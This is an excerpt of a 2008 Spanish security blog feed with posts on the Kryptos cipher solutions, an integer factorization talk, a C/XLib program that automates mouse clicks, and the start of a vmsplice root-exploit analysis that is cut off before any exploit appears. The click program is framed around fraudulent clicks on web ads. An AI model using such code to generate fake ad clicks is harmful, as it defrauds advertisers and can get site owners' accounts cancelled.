errores gramaticales y todo;)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_q551Ajwo8ak/SDLtd6dag_I/AAAAAAAAAE8/-0axrm201j4/s1600-h/kryptos.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp1.blogger.com/_q551Ajwo8ak/SDLtd6dag_I/AAAAAAAAAE8/-0axrm201j4/s400/kryptos.jpg" alt="" id="BLOGGER_PHOTO_ID_5202481617730962418" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;Los cuatro mensajes cifrados de la escultura son los siguientes:&lt;br /&gt;&lt;br /&gt;&lt;table align="center" border="1"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;pre&gt;&lt;span style="font-family:Century;"&gt;&lt;br /&gt;&lt;span style="font-size:78%;"&gt;EMUFPHZLRFAXYUSDJKZLDKRNSHGNFIVJ&lt;br /&gt;YQTQUXQBQVYUVLLTREVJYQTMKYRDMFD&lt;br /&gt;VFPJUDEEHZWETZYVGWHKKQETGFQJNCE&lt;br /&gt;GGWHKK?DQMCPFQZDQMMIAGPFXHQRLG&lt;br /&gt;TIMVMZJANQLVKQEDAGDVFRPJUNGEUNA&lt;br /&gt;QZGZLECGYUXUEENJTBJLBQCRTBJDFHRR&lt;br /&gt;YIZETKZEMVDUFKSJHKFWHKUWQLSZFTI&lt;br /&gt;HHDDDUVH?DWKBFUFPWNTDFIYCUQZERE&lt;br /&gt;EVLDKFEZMOQQJLTTUGSYQPFEUNLAVIDX&lt;br /&gt;FLGGTEZ?FKZBSFDQVGOGIPUFXHHDRKF&lt;br /&gt;FHQNTGPUAECNUVPDJMQCLQUMUNEDFQ&lt;br /&gt;ELZZVRRGKFFVOEEXBDMVPNFQXEZLGRE&lt;br /&gt;DNQFMPNZGLFLPMRJQYALMGNUVPDXVKP&lt;br /&gt;DQUMEBEDMHDAFMJGZNUPLGEWJLLAETG&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt; &lt;/td&gt; &lt;td&gt; &lt;pre&gt;&lt;span style="font-family:Century;font-size:78%;"&gt;&lt;br /&gt;ABCDEFGHIJKLMNOPQRSTUVWXYZABCD&lt;br /&gt;AKRYPTOSABCDEFGHIJLMNQUVWXZKRYP&lt;br /&gt;BRYPTOSABCDEFGHIJLMNQUVWXZKRYPT&lt;br /&gt;CYPTOSABCDEFGHIJLMNQUVWXZKRYPTO&lt;br /&gt;DPTOSABCDEFGHIJLMNQUVWXZKRYPTOS&lt;br /&gt;ETOSABCDEFGHIJLMNQUVWXZKRYPTOSA&lt;br /&gt;FOSABCDEFGHIJLMNQUVWXZKRYPTOSAB&lt;br /&gt;GSABCDEFGHIJLMNQUVWXZKRYPTOSABC&lt;br /&gt;HABCDEFGHIJLMNQUVWXZKRYPTOSABCD&lt;br /&gt;IBCDEFGHIJLMNQUVWXZKRYPTOSABCDE&lt;br /&gt;JCDEFGHIJLMNQUVWXZKRYPTOSABCDEF&lt;br /&gt;KDEFGHIJLMNQUVWXZKRYPTOSABCDEFG&lt;br /&gt;LEFGHIJLMNQUVWXZKRYPTOSABCDEFGH&lt;br /&gt;MFGHIJLMNQUVWXZKRYPTOSABCDEFGHI&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;pre&gt;&lt;span style="font-family:Century;font-size:78%;"&gt;&lt;br /&gt;ENDYAHROHNLSRHEOCPTEOIBIDYSHNAIA&lt;br /&gt;CHTNREYULDSLLSLLNOHSNOSMRWXMNE&lt;br /&gt;TPRNGATIHNRARPESLNNELEBLPIIACAE&lt;br /&gt;WMTWNDITEENRAHCTENEUDRETNHAEOE&lt;br /&gt;TFOLSEDTIWENHAEIOYTEYQHEENCTAYCR&lt;br /&gt;EIFTBRSPAMHHEWENATAMATEGYEERLB&lt;br /&gt;TEEFOASFIOTUETUAEOTOARMAEERTNRTI&lt;br /&gt;BSEDDNIAAHTTMSTEWPIEROAGRIEWFEB&lt;br /&gt;AECTDDHILCEIHSITEGOEAOSDDRYDLORIT&lt;br /&gt;RKLMLEHAGTDHARDPNEOHMGFMFEUHE&lt;br /&gt;ECDMRIPFEIMEHNLSSTTRTVDOHW?OBKR&lt;br /&gt;UOXOGHULBSOLIFBBWFLRVQQPRNGKSSO&lt;br /&gt;TWTQSJQSSEKZZWATJKLUDIAWINFBNYP&lt;br /&gt;VTTMZFPKWGDKZXTJCDIGKUHUAUEKCAR&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt; &lt;/td&gt; &lt;td&gt; &lt;pre&gt;&lt;span style="font-family:Century;font-size:78%;"&gt;&lt;br /&gt;NGHIJLMNQUVWXZKRYPTOSABCDEFGHIJL&lt;br /&gt;OHIJLMNQUVWXZKRYPTOSABCDEFGHIJL&lt;br /&gt;PIJLMNQUVWXZKRYPTOSABCDEFGHIJLM&lt;br /&gt;QJLMNQUVWXZKRYPTOSABCDEFGHIJLMN&lt;br /&gt;RLMNQUVWXZKRYPTOSABCDEFGHIJLMNQ&lt;br /&gt;SMNQUVWXZKRYPTOSABCDEFGHIJLMNQU&lt;br /&gt;TNQUVWXZKRYPTOSABCDEFGHIJLMNQUV&lt;br /&gt;UQUVWXZKRYPTOSABCDEFGHIJLMNQUVW&lt;br /&gt;VUVWXZKRYPTOSABCDEFGHIJLMNQUVWX&lt;br /&gt;WVWXZKRYPTOSABCDEFGHIJLMNQUVWXZ&lt;br /&gt;XWXZKRYPTOSABCDEFGHIJLMNQUVWXZK&lt;br /&gt;YXZKRYPTOSABCDEFGHIJLMNQUVWXZKR&lt;br /&gt;ZZKRYPTOSABCDEFGHIJLMNQUVWXZKRY&lt;br /&gt;ABCDEFGHIJKLMNOPQRSTUVWXYZABCD&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;span style=";font-family:arial;font-size:100%;"  &gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Aunque tanto la NSA como la propia CIA resolvieron el acertijo, la primera persona que anunció públicamente las tres primeras partes fué &lt;a href="http://en.wikipedia.org/wiki/James_Gillogly" title="James Gillogly"&gt;James Gillogly&lt;/a&gt;, en 1999. Por lo que se sabe, la cuarta parte continúa todavía sin resolver.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-weight: bold;"&gt;Solución a la Primera Parte:&lt;br /&gt;(Vigenere clave alfabeto: kryptos, clave:  palimpsest)&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;BETWEEN SUBTLE SHADING AND THE ABSENCE OF LIGHT LIES THE NUANCE OF IQLUSION&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-weight: bold;"&gt;Solución a la Segunda Parte: &lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;(Vigenere clave alfabeto: kryptos, clave:  Abscissa)&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;IT WAS TOTALLY INVISIBLE HOWS THAT POSSIBLE ? THEY USED THE EARTHS MAGNETIC FIELD X THE INFORMATION WAS GATHERED AND TRANSMITTED UNDERGRUUND TO AN UNKNOWN LOCATION X DOES LANGLEY KNOW ABOUT THIS ? THEY SHOULD ITS BURIED OUT THERE SOMEWHERE X WHO KNOWS THE EXACT LOCATION ? ONLY WW THIS WAS HIS LAST MESSAGE X THIRTY EIGHT DEGREES FIFTY SEVEN MINUTES SIX POINT FIVE SECONDS NORTH SEVENTY SEVEN DEGREES EIGHT MINUTES FORTY FOUR SECONDS WEST X LAYER TWO&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-weight: bold;"&gt;Solución a la &lt;/span&gt;&lt;span style="font-weight: bold;"&gt;Tercera Parte:&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;SLOWLY DESPARATLY SLOWLY THE REMAINS OF PASSAGE DEBRIS THAT ENCUMBERED THE LOWER PART OF THE DOORWAY WAS REMOVED WITH TREMBLING HANDS I MADE A TINY BREACH IN THE UPPER LEFT HAND CORNER AND THEN WIDENING THE HOLE A LITTLE I INSERTED THE CANDLE AND PEERED IN THE HOT AIR ESCAPING FROM THE CHAMBER CAUSED THE FLAME TO FLICKER BUT PRESENTLY DETAILS OF THE ROOM WITHIN EMERGED FROM THE MIST X CAN YOU SEE ANYTHING Q (?)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Referencias:&lt;/span&gt;&lt;br /&gt;- &lt;a href="http://www.elonka.com/kryptos"&gt;http://www.elonka.com/kryptos&lt;/a&gt;&lt;br /&gt;- &lt;a href="https://www.cia.gov/about-cia/virtual-tour/kryptos/index.html"&gt;Kryptos en la CIA&lt;/a&gt;.&lt;a href="https://www.cia.gov/about-cia/virtual-tour/kryptos/index.html"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt; &lt;div style="text-align: center;"&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt; &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5064908217201828351-6943471474039909823?l=h4ck1t.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://h4ck1t.blogspot.com/feeds/6943471474039909823/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5064908217201828351&amp;postID=6943471474039909823' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/6943471474039909823'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/6943471474039909823'/><link rel='alternate' type='text/html' href='http://h4ck1t.blogspot.com/2008/05/la-escultura-kryptos.html' title='La escultura Kryptos'/><author><name>Daniel Lerch</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-1QwcM6gjGYg/AAAAAAAAAAI/AAAAAAAAEkc/V2Z0ynWpHSA/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp1.blogger.com/_q551Ajwo8ak/SDLtd6dag_I/AAAAAAAAAE8/-0axrm201j4/s72-c/kryptos.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5064908217201828351.post-241526346143541025</id><published>2008-03-30T01:48:00.000-07:00</published><updated>2008-12-04T01:28:25.605-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Noticias'/><category scheme='http://www.blogger.com/atom/ns#' term='Factorización'/><title type='text'>Hugo Scolnik: Avances en la Factorización Entera</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;br /&gt;El pasado 3 de diciembre se celebró el II Día Internacional de la Seguridad en la Información (DISI 2007). En el, Hugo Scolnik presentó un nuevo algoritmo de factorización, que aunque está por terminar, no tiene mala pinta.&lt;br /&gt;&lt;br /&gt;A continuación dejo los enlaces (&lt;a href="http://www.criptored.upm.es/"&gt;Criptored&lt;/a&gt;) a la presentación y el vídeo de la conferencia:&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt;&lt;a href="http://www.criptored.upm.es/descarga/DISI07_HugoScolnik.zip"&gt;Presentación PDF&lt;/a&gt;.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt;&lt;a href="http://www.criptored.upm.es/descarga/DISI07-videos/03/03_SEGUNDO_DISI_2007_Avances_en_la_Factorizacion_Entera%28Dr._Hugo_Scolnik%29.zip"&gt;Vídeo principal&lt;/a&gt;.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.criptored.upm.es/descarga/DISI07-videos/03/03_SEGUNDO_DISI_2007_Avances_en_la_Factorizacion_Entera%28Dr._Hugo_Scolnik%29.z01"&gt;Vídeo parte 1&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.criptored.upm.es/descarga/DISI07-videos/03/03_SEGUNDO_DISI_2007_Avances_en_la_Factorizacion_Entera%28Dr._Hugo_Scolnik%29.z02"&gt;Vídeo parte 2&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.criptored.upm.es/descarga/DISI07-videos/03/03_SEGUNDO_DISI_2007_Avances_en_la_Factorizacion_Entera%28Dr._Hugo_Scolnik%29.z03"&gt;Vídeo parte 3&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.criptored.upm.es/descarga/DISI07-videos/03/03_SEGUNDO_DISI_2007_Avances_en_la_Factorizacion_Entera%28Dr._Hugo_Scolnik%29.z04"&gt;Vídeo parte 4&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.criptored.upm.es/descarga/DISI07-videos/03/03_SEGUNDO_DISI_2007_Avances_en_la_Factorizacion_Entera%28Dr._Hugo_Scolnik%29.z05"&gt;Vídeo parte 5&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.criptored.upm.es/descarga/DISI07-videos/03/03_SEGUNDO_DISI_2007_Avances_en_la_Factorizacion_Entera%28Dr._Hugo_Scolnik%29.z06"&gt;Vídeo parte 6&lt;/a&gt;.&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;Estos archivos pueden descomprimirse en Línux con el siguiente comando:&lt;br /&gt;&lt;br /&gt;$ cat *.z* &gt; video.zip &amp;amp;&amp;amp; unzip video.zip&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;En el foro de &lt;a href="http://www.kriptopolis.org/"&gt;Kriptopolis&lt;/a&gt;, alguien que firmaba como "Hugo Scolnik" ponía un ejemplo sencillo de factorización:&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div style="font-style: italic;" class="submitted"&gt;&lt;span style="font-size:100%;"&gt;     Enviado por anónimo el 4. Enero 2008 - 8:42.  &lt;/span&gt;&lt;/div&gt;    &lt;div style="font-style: italic;" class="content"&gt;      &lt;p&gt;&lt;span style="font-size:100%;"&gt;Pues ahi va un ejemplo pequeño para ilustrar el tema&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size:100%;"&gt;Sea n = 507527&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:100%;"&gt;Los targets únicos son (23 en total):&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:100%;"&gt;(1,0,3) , (1,0,4), (4,1,5),....,(649,576,720)&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:100%;"&gt;Esto significa que x^2 = 1+3t(1) = 1+4t(2)=...= 649+720t(23)&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:100%;"&gt;con t(23) = 88 se consigue la soluciòn&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:100%;"&gt;Con respecto a y^2 tenemos que puede escribirse como 576+720u(23) con u(23) = 793&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:100%;"&gt;Obviamente con n grande es impracticable buscar los valores de t o de u.&lt;br /&gt;Ahora, (n + 649 -576)/720 = 705 y algunos targets ùnicos de 705 son&lt;br /&gt;(0,1,4) , (0,1,8), (0,1,16)&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:100%;"&gt;Llamaremos (a1,b1,c1) al target ùnico elegido del primer nivel, o sea (649,576,720) y&lt;br /&gt;(a2,b2,c2) al del segundo nivel&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:100%;"&gt;Si usamos el primero con la fòrmula x^2 =a1+c1a2+c1c2t = 649+2880t correcto con t = 22&lt;br /&gt;Si usamos el segundo obtenemos x^2 = 649+5760t correcto con t = 11&lt;br /&gt;Pero el tercero da x^2= 649+11520t que es FALSO (deberìa dar x^2 = 6409+11520t)&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:100%;"&gt;¿Còmo corregir 649 ? Habrìa que sumarle deltax2 = 5760 = 8c1 (siempre es un mùltiplo de c1)&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:100%;"&gt;Para y^2 obtenemos y^2= b1+c1b2+c1c2u&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:100%;"&gt;En el primer caso           y^2 = 1296+2880u correcto con u = 198&lt;br /&gt;En el segundo caso          y^2 = 1296+5760u correcto con u =  99&lt;br /&gt;El tercero falla pues da    y^2 = 1296+11520u y deberìa ser 7056+11520u&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:100%;"&gt;La correcciòn es deltay2 = 5760 que es igual a deltax2&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:100%;"&gt;Varios de los teoremas que mostrè ràpidamente tienen que ver con las correcciones, su relaciòn con las ecuaciones&lt;br /&gt;diofánticas, etc. Casos muy interesantes son los simètricos, donde aparecen en el nivel k &gt; 1 targets ùnicos&lt;br /&gt;idènticos a los del primer nivel (al parecer siempre existen pero todavìa no nos dedicamos a demostrarlo porque&lt;br /&gt;hay otras prioridades). Para ellos se pueden demostrar varios resultados muy interesantes, y ahora los estoy&lt;br /&gt;usando para la exploraciòn de las ramas provenientes de las posibles elecciones de targets.&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:100%;"&gt;Cordialmente&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:100%;"&gt;Hugo Scolnik&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;div style="font-style: italic; text-align: justify;" class="content"&gt;   &lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;blockquote&gt;    &lt;/blockquote&gt;&lt;div class="content"&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5064908217201828351-241526346143541025?l=h4ck1t.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://h4ck1t.blogspot.com/feeds/241526346143541025/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5064908217201828351&amp;postID=241526346143541025' title='4 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/241526346143541025'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/241526346143541025'/><link rel='alternate' type='text/html' href='http://h4ck1t.blogspot.com/2008/03/hugo-scolnik-avances-en-la-factorizacin.html' title='Hugo Scolnik: Avances en la Factorización Entera'/><author><name>Daniel Lerch</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-1QwcM6gjGYg/AAAAAAAAAAI/AAAAAAAAEkc/V2Z0ynWpHSA/s512-c/photo.jpg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5064908217201828351.post-692116552211189505</id><published>2008-02-23T12:39:00.000-08:00</published><updated>2008-12-04T01:28:25.190-08:00</updated><title type='text'>Publicidad web: Automatizando clics</title><content type='html'>&lt;div style="text-align: justify;"&gt; &lt;div style="text-align: justify;"&gt;Aunque la automatización del movimiento del mouse y la realización de clics tiene cientos de aplicaciones lícitas, a nadie se le escapa la posibilidad de usarlo para realizar clics fraudulentos en la los anuncios contextuales de la web.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;La primera pregunta que se plantea uno ...&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;... es qué medidas de seguridad adoptarán las empresas que, como por ejemplo &lt;a href="http://www.google.com/"&gt;Google&lt;/a&gt; (&lt;a href="http://www.google.com/adsense/"&gt;Adsense&lt;/a&gt;), ofrecen este servicio.&lt;br /&gt;&lt;br /&gt;Es lógico pensar que si todos los clics vienen desde la misma IP no se tendrán en cuenta. Pero esta barrera es fácil saltársela con sistemas de navegación anónima como &lt;a href="http://h4ck1t.blogspot.com/2007/10/introduccin-las-redes-tor.html"&gt;Tor&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Pero las empresas que se dedican a estas cosas, que no son tontas, no dan esos clics por válidos.&lt;br /&gt;&lt;br /&gt;Hasta aqui todo bien, pues sigue la lógica que cabría esperar.&lt;br /&gt;&lt;br /&gt;El problema se produce en el momento que estas empresas deciden considerar al propietario de la web que recibe los clics como culpable de los mismos, eliminándole la cuenta.&lt;br /&gt;&lt;br /&gt;Este hecho produce una consecuencia terrible: la aparición de un ataque de denegación de servicio.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;La segunda pregunta que se plantea uno ...&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;... es cuanto se puede tardar en desarrollar un programa que mueva el mouse a una posición (x,y) y realice un clic sobre ella.&lt;br /&gt;&lt;br /&gt;Después de googlear un poquito y realizar algunas pruebas la conclusión es extremecedora ... En unos 20 minutos el programa esta listo.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Cómo mover el mouse con XLib:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;A continuación pego una función que mueve el puntero del mouse a la posición X,Y pasada como parámetro.&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="Cpp"&gt;&lt;br /&gt;void mouse_move(int x, int y)&lt;/span&gt;&lt;br /&gt;{&lt;br /&gt;   Display *display = XOpenDisplay(0);&lt;br /&gt;   Window root = DefaultRootWindow(display);&lt;br /&gt;   XWarpPointer(display, None, root, 0, 0, 0, 0, x, y);&lt;br /&gt;   XCloseDisplay(display);&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Cómo hacer clic con XLib:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;A continuación pego una función que hace clic sobre la posición actual del mouse. Para realizar clic con el botón derecho se usa button=0.&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="Cpp"&gt;&lt;br /&gt;void mouse_click(int button)&lt;br /&gt;{&lt;br /&gt;   Display *display = XOpenDisplay(NULL);&lt;br /&gt;   XEvent event;&lt;br /&gt;   memset(&amp;amp;event, 0x00, sizeof(event));&lt;br /&gt;   event.type = ButtonPress;&lt;br /&gt;   event.xbutton.button = button;&lt;br /&gt;   event.xbutton.same_screen = True;&lt;br /&gt;   XQueryPointer(display, RootWindow(display, DefaultScreen(display)), &lt;br /&gt;      &amp;amp;event.xbutton.root, &amp;amp;event.xbutton.window, &amp;amp;event.xbutton.x_root,&lt;br /&gt;      &amp;amp;event.xbutton.y_root, &amp;amp;event.xbutton.x, &amp;amp;event.xbutton.y,&lt;br /&gt;      &amp;amp;event.xbutton.state);&lt;br /&gt;   event.xbutton.subwindow = event.xbutton.window;&lt;br /&gt;&lt;br /&gt;   while(event.xbutton.subwindow)&lt;br /&gt;   {&lt;br /&gt;       event.xbutton.window = event.xbutton.subwindow;&lt;br /&gt;       XQueryPointer(display, event.xbutton.window, &amp;amp;event.xbutton.root,&lt;br /&gt;          &amp;amp;event.xbutton.subwindow, &amp;amp;event.xbutton.x_root,&lt;br /&gt;          &amp;amp;event.xbutton.y_root, &amp;amp;event.xbutton.x, &amp;amp;event.xbutton.y,&lt;br /&gt;          &amp;amp;event.xbutton.state);&lt;br /&gt;   }&lt;br /&gt;&lt;br /&gt;   if(XSendEvent(display, PointerWindow, True, 0xfff, &amp;amp;event)==0)&lt;br /&gt;      fprintf(stderr, "XSendEvent()\n");&lt;br /&gt;&lt;br /&gt;   XFlush(display);&lt;br /&gt;   usleep(100000);&lt;br /&gt;&lt;br /&gt;   event.type = ButtonRelease;&lt;br /&gt;   event.xbutton.state = 0x100;&lt;br /&gt;&lt;br /&gt;   if(XSendEvent(display, PointerWindow, True, 0xfff, &amp;amp;event)==0)&lt;br /&gt;      fprintf(stderr, "XSendEvent()\n");&lt;br /&gt;&lt;br /&gt;   XFlush(display);&lt;br /&gt;   XCloseDisplay(display);&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;El programa:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Vistas las funciones anteriores resulta trivial desarrollar un programa:&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="Cpp"&gt;&lt;br /&gt;&lt;br /&gt;int main(int argc, char* argv[])&lt;br /&gt;{&lt;br /&gt;   if(argc!=3)&lt;br /&gt;   {&lt;br /&gt;      printf("Usage: %s [x coord] [y coord]\n\n", argv[0]);&lt;br /&gt;      return 0;&lt;br /&gt;   }&lt;br /&gt;&lt;br /&gt;   int x = atoi(argv[1]);&lt;br /&gt;   int y = atoi(argv[2]);&lt;/span&gt;&lt;br /&gt;   mouse_move(x, y);&lt;br /&gt;   mouse_click(0);&lt;br /&gt;   return 0;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Solo queda decir que las librerias necesarias de XLib son X11/Xlib.h y X11/Xutil.h &lt;span style=";font-family:courier new;font-size:85%;"  &gt;&lt;x11&gt;&lt;x11&gt;&lt;/x11&gt;&lt;/x11&gt;&lt;/span&gt;&lt;br /&gt;Y que el programa se compila con:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;$ gcc click.c -lX11&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Conclusiones:&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;La publicidad web genera mucho dinero, lo que la hace atractiva para todo intento de uso fraudulento. Sin embargo las empresas que se dedican a esto saben lo que hacen y no resulta sencillo tomarles el pelo.&lt;br /&gt;Lo que quiero decir con esto es que el intento de ganar dinero haciendo clics en publicidad propia dificilmente llegará a buen término, por lo que no se lo recomiendo a nadie.&lt;br /&gt;&lt;br /&gt;Para finalizar un comentario para las empresas que se dedican a cancelar la cuenta del usuario que recibe clics fraudulentos: mala idea.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5064908217201828351-692116552211189505?l=h4ck1t.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://h4ck1t.blogspot.com/feeds/692116552211189505/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5064908217201828351&amp;postID=692116552211189505' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/692116552211189505'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/692116552211189505'/><link rel='alternate' type='text/html' href='http://h4ck1t.blogspot.com/2008/02/publicidad-web-automatizando-clics.html' title='Publicidad web: Automatizando clics'/><author><name>Daniel Lerch</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-1QwcM6gjGYg/AAAAAAAAAAI/AAAAAAAAEkc/V2Z0ynWpHSA/s512-c/photo.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5064908217201828351.post-349819771237243165</id><published>2008-02-17T10:49:00.000-08:00</published><updated>2008-12-04T01:28:25.173-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programación segura'/><title type='text'>Cómo funciona el exploit vmsplice</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;br /&gt;Despues del revuelo ocasinado por el bug vmsplice() en el kernel Linux vamos a realizar un pequeño análisis de su funcionamiento. Para el que no lo sepa, la explotación del bug vmsplice permite a un usuario del sistema convertirse en root. Esto ocurre en los kernels que van desde la versión 2.6.17 a la 2.6.24.1.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Algunos exploits disponibles son:&lt;br /&gt;&lt;br /&gt;&lt;a 